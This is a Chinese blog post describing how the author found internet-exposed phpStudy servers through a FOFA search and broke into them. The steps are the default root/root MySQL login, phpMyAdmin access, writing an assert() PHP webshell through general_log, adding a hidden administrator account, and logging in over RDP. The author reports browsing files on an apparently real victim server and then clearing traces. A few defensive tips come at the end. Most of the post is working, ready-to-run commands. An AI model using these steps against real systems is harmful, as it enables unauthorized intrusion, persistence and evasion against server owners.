前言

除了之前出的打牌文,现在又找到好玩的给大家分享一波。弱口令必然是致命的,也是很多用户是比较容易忽略的。

前期准备

首先信息收集一波确认目标,:fofa: body="phpstudy探针" && title="phpStudy 探针 2014"

1602991441_5f8bb551ddd0fcd447063.png!small

找几个心仪的目标下手,打开的页面是这样的

1602991452_5f8bb55cf326a5107f13c.png!small

正文

记住这个绝对路径,后面用得上,然后页面拉到最后,使用弱口令对MySQL数据库连接进行检测。一般phpstudy默认配置的mysql账号密码为root/root,直接使用这个去尝试登录。

1602991468_5f8bb56c25dc878c9c9fd.png!small

但是这种命中率五五开吧,这个不行,就换一个吧,毕竟这个测试,开头还是需要弱口令进去,或者自己也可以跑字典做其他的尝试,显示这样“连接到MySql数据库正常”就是可以的。

1602991477_5f8bb57514479d7a4ea46.png!small

接着,直接访问phpmyadmin,例如:http://ip:80/phpmyadmin  然后输入账号密码登录。

1602991487_5f8bb57f11d733c2bf325.png!small

然后利用log日志写入一句话进去,然后再要进一步利用,提权等。一般涉及到两个地方general_log、general_log_file

1、然后可以通过SQL指令来操作

show variables like 'general_log'; -- 查看日志是否开启

set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; -- 看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置

show variables like 'log_output'; -- 看看日志输出类型 table或file

set global log_output='table'; -- 设置输出类型为 table

set global log_output='file'; -- 设置输出类型为file

主要是开启日志功能,以及设置日志存放的位置,为了方便,我一般存放在根目录下,前面让记住的路径现在就用得到了。

查看日志是否开启。

show variables like 'general_log';

1602991502_5f8bb58e574052d17be1a.png!small

开启日志功能。

set global general_log=on;

1602991513_5f8bb5991fc20eadcfe6a.png!small

修改日志保存路径文件,注意要准确到文件名。

set global general_log_file=' D:/WWW/test.php';  //根据实际情况来定。

1602991524_5f8bb5a48547e829cd778.png!small

2、更简单一点的方法,在变量处,找到general_log、general_log_file,然后general_log改成ON、general_log_file改为网站根目录下的文件名。

1602991534_5f8bb5ae883baf3e862ea.png!small

然后通过日志来写入一句话:

SELECT'<?php assert($_POST["cmd"]);?>';

1602991549_5f8bb5bd32ce0c94eb9ad.png!small

然后现在可以通过打狗菜刀或者其他软件连接上去(连接路径为日志文件存放的文件位置)。

1602991588_5f8bb5e4e7c379e3ae397.png!small

菜刀连接上去之后,就可以进一步操作了。

1602991597_5f8bb5ed05ec55db7800a.png!small

在打狗菜刀上面又虚拟终端这个功能,我可以直接尝试执行CMD命令。好家伙,直接是system权限(这里也是复现的时候遇到的,前面遇到的是administrator权限的。

whoami  //查看当前用户。

1602991609_5f8bb5f9c2651ec9b8bb7.png!small

贴出来看看(凑字数显得牛逼点)。

1602991616_5f8bb60006e53af2e9c47.png!small

然后尝试添加新用户,密码不满足策略,这个简单,自己领悟。

net user 用户名 密码 /add   //添加新用户。

1602991625_5f8bb6093ffac637bfce9.png!small

然后把该用户提升为管理员权限,system权限,没有太大的问题,如果这里遇到拦路狗,或者其他杀软,请参考我前面的文章,怎么K狗的。

net localgroup administrators 用户名 /add    //把用户提升为管理员权限。

1602991662_5f8bb62eb3fbfea954038.png!small

然后查看有没有开启远程桌面服务。

tasklist /svc | findstr TermService   //查看远程桌面服务信息。

1602991669_5f8bb635ee09d49f54af7.png!small

然后查看服务在哪个端口。

netstat -ano | findstr ****  //查看进程号端口情况。

1602991687_5f8bb6471af7456382641.png!small

好家伙,3389,白折腾。直接尝试远程桌面登录上去看看。

1602991695_5f8bb64fe2fc4ca390aa2.png!small

成功登录上去,简单看了一下,现在的的服务器不值钱吗,承认看到这里,我酸了。

1602991704_5f8bb6583e859cc062c89.png!small

然后看了一下磁盘里面的东西,感觉有点像赌博、菠菜的源码。

1602991714_5f8bb66224a503c529a4e.png!small

后面到这里差不多结束了,清除痕迹,擦擦屁股走人。

防范措施:

  • 像l.php这样的文件环境调试好可以删除,或者重新定义网站的默认路径等
  • 数据库的密码使用强密码,毕竟开局弱口令
  • 用户权限,日志文件的权限等

总结

弱口令通常不能这么简单利用,但是一旦被利用,也是危害很高的。密码要常改,还要使用强密码,不要使用默认密码、弱口令。能登陆上phpmyadmin之后,其实还需要判断版本等信息,除了通过这个日志来写入一句话,相信还有其他方法。可以做一下尝试。如果遇到了执行终端命令受阻,有安全狗,或者其他杀软,可以参考这里


本文作者:yedada